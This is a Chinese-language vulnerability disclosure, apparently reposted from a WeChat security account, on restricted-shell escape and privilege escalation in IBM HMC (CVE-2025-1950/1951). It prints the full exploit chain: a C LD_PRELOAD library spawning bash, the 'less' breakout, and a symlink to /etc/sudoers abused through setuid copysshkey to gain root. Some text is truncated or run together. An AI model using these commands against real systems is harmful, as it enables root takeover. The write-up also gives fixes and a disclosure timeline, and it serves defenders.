在近期的红队演练中，研究人员发现了IBM硬件管理控制台（HMC）中的两个关键安全漏洞：受限Shell突破（CVE-2025-1950）和权限提升（CVE-2025-1951）[1]。这些漏洞可能被攻击者利用来突破系统的安全限制，获取更高的权限。本文将详细介绍这两个漏洞的发现过程、攻击路径以及IBM提供的修复措施。
hmcbash）基于bash的受限模式[4]构建。除其他限制外，这会阻止用户更改目录、指定包含斜杠的命令名称以及修改某些环境变量。此外，多个可能被利用的GTFOBins（如在CVE-2021-29707[5]中被利用的sed）已被修复。然而，研究人员发现可以设置环境变量LD_PRELOAD，这使得他们能够运行任意二进制文件，而无需在命令中使用斜杠。
研究人员使用了一个简单的程序，该程序在应用程序退出时加载/bin/bash，如下所示：
#include<stdio.h>#include<unistd.h>voidexit(int e){ execve("/bin/bash", NULL, NULL);while(1);}由于用户无法接收通过scp发送的文件，我们使用以下命令将库存储在系统上：
cat test.so | ssh ibmifcb@XXXXX cp /dev/stdin test.so以下摘录展示了如何使用LD_PRELOAD进行利用以及在不受限的bash中进行操作：
ibmifcb@XXXXX:~> idbash: id: command not foundibmifcb@XXXXX:~> cd /bash: cd: restrictedibmifcb@XXXXX:~> LD_PRELOAD=./test.so lessMissing filename ("less --help"forhelp)[ibmifcb@XXXXX ibmifcb] $ cd /[ibmifcb@XXXXX /] $ pwd/
ibmifcb的权限仍然非常有限，因此研究人员的下一个目标是提升其权限。快速查看系统后，他们发现了一个设置了setuid位的二进制文件copysshkey。[ibmifcb@XXXXX /] $ ls -al /opt/hsc/bin/copysshkey-rwsr-xr-x 1 root root 81248 Oct 26 2023 /opt/hsc/bin/copysshkey使用此二进制文件，可以将任意公钥写入任何用户的authorized_keys2文件中，从而以该用户身份获得SSH访问权限，如下所示：
/opt/hsc/bin/copysshkey -o add -u hscroot -k 'ssh - ed25519 [...]'此外，该程序既不验证给定的密钥是否为公钥，也不验证用户名。因此，出现了两个问题：
-
copysshkey可用于将任意文本追加到authorized_keys2文件中。 -
用户名可用于路径遍历攻击。
如以下场景所示，这可用于获取具有无密码sudo权限的ccfw用户的访问权限，从而获得root访问权限：
[ibmifcb@XXXXX ibmifcb] $ pwd/home/ibmifcb[ibmifcb@XXXXX ibmifcb] $ mkdir -p lol/.ssh[ibmifcb@XXXXX ibmifcb] $ ln -s /etc/sudoers lol/.ssh/authorized_keys2[ibmifcb@XXXXX ibmifcb] $ /opt/hsc/bin/copysshkey -o add -u ibmifcb/lol -k 'ibmifcb ALL=(ALL) NOPASSWD: ALL'[ibmifcb@XXXXX ibmifcb] $ sudo -i[root@XXXXX ~] # cat /etc/sudoers[...]Defaults:ccfw !requirettyccfw ALL=(ALL) NOPASSWD: ALLDefaults:root !requirettyibmifcb ALL=(ALL) NOPASSWD: ALL
LD_PRELOAD设置为自定义值，应将其标记为readonly并设置为空字符串。应评估是否可以限制copysshkey二进制文件的执行权限。
其次，copysshkey程序应验证用户名是否有效，且不能用于路径遍历攻击。
第三，应验证传递给copysshkey的公钥，以防止将任意数据写入文件。
-
2025年2月18日：向IBM报告问题。 -
2025年3月31日：ERNW联系IBM询问进展。 -
2025年4月22日：IBM确认漏洞并发布修复版本[8]，CVE-2025-195[9]和CVE-2025-1951[10]。 -
2025年4月25日：作者文章公开披露。
原文始发于微信公众号（山石网科安全技术研究院）：IBM Power HMC漏洞披露：受限Shell突破与权限提升
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论